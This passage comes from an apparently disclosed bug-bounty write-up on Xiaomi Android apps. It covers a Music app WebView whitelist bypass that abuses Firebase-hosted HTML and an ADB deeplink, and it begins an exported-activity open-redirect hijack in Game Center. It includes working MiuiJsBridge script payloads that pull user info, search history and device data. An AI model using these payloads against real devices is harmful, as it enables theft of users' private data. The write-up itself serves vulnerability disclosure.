inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline; white-space: pre;&quot;&gt;if (!this.mPM.isValid(this.mPageContext.getUrl())) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;The code for this can be found in the &lt;b&gt;com.xiaomi.music.hybrid.internal.PermissionManager&lt;/b&gt; class. As you can see, we need a valid &lt;i style=&quot;font-weight: bold;&quot;&gt;Config &lt;/i&gt;object:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/3c05c0d2f271b0b81d2b3ff1608a5a95.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;A &lt;b&gt;Config&lt;/b&gt;&amp;nbsp;object is initialised every time the app opens a URL inside the webview. This objects properties include a signature, an array of allowed domains and subdomains, and some other app-specific items. A custom &lt;b&gt;&lt;i&gt;Config&lt;/i&gt;&lt;/b&gt; can be declared using the &lt;b&gt;config()&lt;/b&gt; javascript interface mentioned in the &lt;b&gt;com.xiaomi.music.hybrid.internal.JsInterface&lt;/b&gt; file. However, this requires a lot of reverse engineering as it involves &lt;b&gt;generating a valid signature&lt;/b&gt;.&amp;nbsp;Since the object was &lt;i&gt;huge&lt;/i&gt;&lt;b style=&quot;font-style: italic;&quot;&gt;&amp;nbsp;&lt;/b&gt;(as you will see in the video), to get a valid &lt;b&gt;Config&lt;/b&gt; object, we will use Frida, so that we can understand how a &lt;b&gt;Config&lt;/b&gt;&amp;nbsp;object affects our control over the webview. We will use the following Frida script to capture a valid &lt;b&gt;Config&lt;/b&gt; object:&lt;/span&gt;&lt;/div&gt;&lt;script src=&quot;https://gist.github.com/t4kemyh4nd/c4d8c595a5fe15ddf607ef58ebe51c69.js&quot;&gt;&lt;/script&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;As you can see in the youtube video, I am able to get a default valid &lt;b&gt;Config&lt;/b&gt; object, in which the &lt;b&gt;firebasestorage.googleapis.com&lt;/b&gt; seems to have been whitelisted as a domain.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;iframe allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot; frameborder=&quot;0&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/VS4PZYnPtnI&quot; title=&quot;YouTube video player&quot; width=&quot;560&quot;&gt;&lt;/iframe&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;This means that the javascript hosted on the &lt;b&gt;https://firebasestorage.googleapis.com/*&lt;/b&gt; sites will be able to invoke the invoke interface without any error, since this URL will be present inside the &lt;b&gt;Config&lt;/b&gt;&amp;nbsp;object on webview init, thereby successfully passing the &lt;b&gt;isValid()&lt;/b&gt;&amp;nbsp;check. Firebase allows any user to store files (HTML files in this case) on the&lt;b&gt; firebasestorage.googleapis.com&lt;/b&gt; domain.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Go to&amp;nbsp;&lt;a href=&quot;https://console.firebase.google.com/u/0/&quot;&gt;https://console.firebase.google.com/u/0/&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Select a project&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Click on storage on the left side tab.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Create an HTML file with the following payload and get the resulting URL:&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;MiuiJsBridge.invoke(&quot;com.miui.player.hybrid.feature.QueryUserInfo&quot;, &quot;callback&quot;, null, &quot;(function(t) {alert(t)})&quot;);&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;ADB shell:&amp;nbsp;&lt;b&gt;am start -n com.miui.player/com.miui.player.ui.MusicBrowserActivity -d &quot;miui-music://global_music/?page_type=webview&amp;amp;url=&amp;lt;FIREBASE-URL-HERE&amp;gt;&quot;&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;After running the above command, we are successfully able to bypass the permissions and invoke any JS interface remotely.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;h1 id=&quot;user-content-other-payloads&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 19px; font-stretch: inherit; line-height: 20px; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;Other payloads:&lt;/h1&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;Basically, all the features (&lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;com.miui.player.hybrid.feature.*&lt;/span&gt;) in the attached screenshot can now be queried by the attacker &lt;/span&gt;&lt;/div&gt;&lt;h2 id=&quot;user-content-display-android-toast&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 17px; font-stretch: inherit; line-height: 20px; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;Display android toast:&lt;/h2&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;This will make an Android toast on victim's device:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;MiuiJsBridge.invoke(&quot;com.miui.player.hybrid.feature.ToastFeature&quot;, &quot;sync&quot;, &quot;{content: 'takemyhand'}&quot;, null);&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;user-content-get-user-search-history&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 17px; font-stretch: inherit; line-height: 20px; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;Get user search history:&lt;/h2&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;alert(MiuiJsBridge.invoke(&quot;com.miui.player.hybrid.feature.GetSearchHistory&quot;, &quot;sync&quot;, null, null));&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;user-content-query-current-playing-song&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 17px; font-stretch: inherit; line-height: 20px; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;Query current playing song:&lt;/h2&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;MiuiJsBridge.invoke(&quot;com.miui.player.hybrid.feature.QueryNowplayingInfo&quot;, &quot;callback&quot;, null, &quot;(function(t) {alert(t)})&quot;)&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;Lastly, other music and device related information can be queried in a similar way using the &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;com.miui.player.hybrid.feature.ConfigStatics&lt;/span&gt; class and also all the other &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;query&lt;/span&gt; features.&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: courier;&quot;&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;alert(MiuiJsBridge.invoke(&quot;com.miui.player.hybrid.feature.ConfigStatics&quot;, &quot;sync&quot;, &quot;{type: 10}&quot;, null));&lt;/span&gt;&lt;span style=&quot;font-style: inherit; font-variant-caps: inherit; white-space: pre;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;The &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;type&lt;/span&gt; parameter in the above payload can be adjusted according to the numbers mentioned in &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;com.miui.player.hybrid.feature.ConfigStatics&lt;/span&gt; class.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;Attacker can also remotely&amp;nbsp;&lt;b&gt;control music&lt;/b&gt; (play, seek, next, previous) using &lt;b&gt;com.miui.player.hybrid.feature.ControlService&lt;/b&gt; and &lt;b&gt;get all JOOX account information&lt;/b&gt; using &lt;b&gt;com.miui.player.hybrid.feature.JooxBridgeFeature&lt;/b&gt;.&lt;/span&gt;&lt;h1 style=&quot;text-align: left;&quot;&gt;5. Remote WebView hijack using open redirect in Xiaomi Game Center leads to theft of data / privacy violation&lt;/h1&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;This bug exists in the Xiaomi game center which I have downloaded from &lt;a href=&quot;https://game.xiaomi.com./&quot;&gt;https://game.xiaomi.com.&lt;/a&gt; I have found an interesting webview hijack which bypasses the whitelist protection in place. Activity &lt;b&gt;com.xiaomi.gamecenter.ui.webkit.KnightsWebKitActivity&lt;/b&gt; is exported and accepts deeplinks of the format &lt;b&gt;migamecenter://openurl&lt;/b&gt;:&lt;/span&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; color: #333333; font-family: Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif; font-size: 13px; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;Code&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&amp;lt;activity android:theme=&quot;@style/Theme.Light&quot; android:name=&quot;com.xiaomi.gamecenter.ui.webkit.KnightsWebKitActivity&quot; android:exported=&quot;true&quot;&amp;gt;
&lt;/span&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;2&lt;/span&gt;            &amp;lt;intent-filter&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;3&lt;/span&gt;                &amp;lt;action android:name=&quot;android.intent.action.VIEW&quot;/&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;4&lt;/span&gt;                &amp;lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;5&lt;/span&gt;                &amp;lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;6&lt;/span&gt;                &amp;lt;data android:scheme=&quot;migamecenter&quot; android:host=&quot;openurl&quot;/&amp;gt;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;7&lt;/span&gt;            &amp;lt;/intent-filter&amp;gt;
&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;vertical-spacing interactive_markdown__p&quot; style=&quot;border: 0px; box-sizing: border-box; caret-color: rgb(62, 62, 62); font-stretch: inherit; line-height: inherit; margin: 0px 0px 16px; padding: 0px; vertical-align: baseline; white-space: pre-line;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: medium;&quot;&gt;Looking at the following function which is called inside the &lt;span style=&quot;border: 0px; box-sizing: border-box; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; font-weight: 600; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;onCreate()&lt;/span&gt; inside the activity's code:&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code&quot; style=&quot;background-color: #f8f8f8; border-bottom-left-radius: 4px; border-bottom-right-radius: 4px; border-top-left-radius: 4px; border-top-right-radius: 4px; border: 1px solid rgb(229, 229, 229); box-sizing: border-box; font-stretch: inherit; line-height: inherit; margin: 0px 0px 15px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;div class=&quot;interactive-markdown__code__menu&quot; style=&quot;border-bottom-color: rgb(229, 229, 229); border-bottom-style: solid; border-width: 0px 0px 1px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 2px 4px; vertical-align: baseline;&quot;&gt;&lt;span face=&quot;Effra, -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, Roboto, Oxygen, Ubuntu, Cantarell, &amp;quot;Open Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, sans-serif&quot; style=&quot;caret-color: rgb(51, 51, 51); color: #333333; font-size: 13px; font-weight: 600;&quot;&gt;Code&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;interactive-markdown__code__content interactive-markdown__code__content__scroll&quot; style=&quot;-webkit-user-select: text; border: 0px; box-sizing: border-box; color: #333333; font-family: Consolas, &amp;quot;Liberation Mono&amp;quot;, Courier, monospace; font-size: 13px; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; overflow-wrap: break-word; overflow-x: auto; padding: 0px 4px; vertical-align: baseline; white-space: pre;&quot;&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;border: 0px; box-sizing: border-box; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;private boolean c(Intent intent) {
&lt;/span&gt;&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;2&lt;/span&gt;        Uri data;
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;3&lt;/span&gt;        **&amp;lt;--redacted--&amp;gt;**
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;4&lt;/span&gt;        if (TextUtils.isEmpty(this.Y) &amp;amp;&amp;amp; (data = intent.getData()) != null) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;5&lt;/span&gt;            String scheme = data.getScheme();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;6&lt;/span&gt;            String host = data.getHost();
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;7&lt;/span&gt;            if (TextUtils.equals(scheme, &quot;migamecenter&quot;)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;8&lt;/span&gt;                if (TextUtils.equals(host, fa)) {
&lt;span class=&quot;linenumber react-syntax-highlighter-line-number&quot; style=&quot;-webkit-user-select: none; border: 0px; box-sizing: border-box; color: #7d8b99; display: inline-block; font-family: inherit; font-stretch: inherit; font-style: inherit; font-variant-caps: inherit; line-height: inherit; margin: 0px; min-width: 1.25em; padding: 0px 1em 0px 0px; text-align: right; vertical-align: baseline;&quot;&gt;9&lt;/span&gt;                    this.Y = data.toString().substring(23);
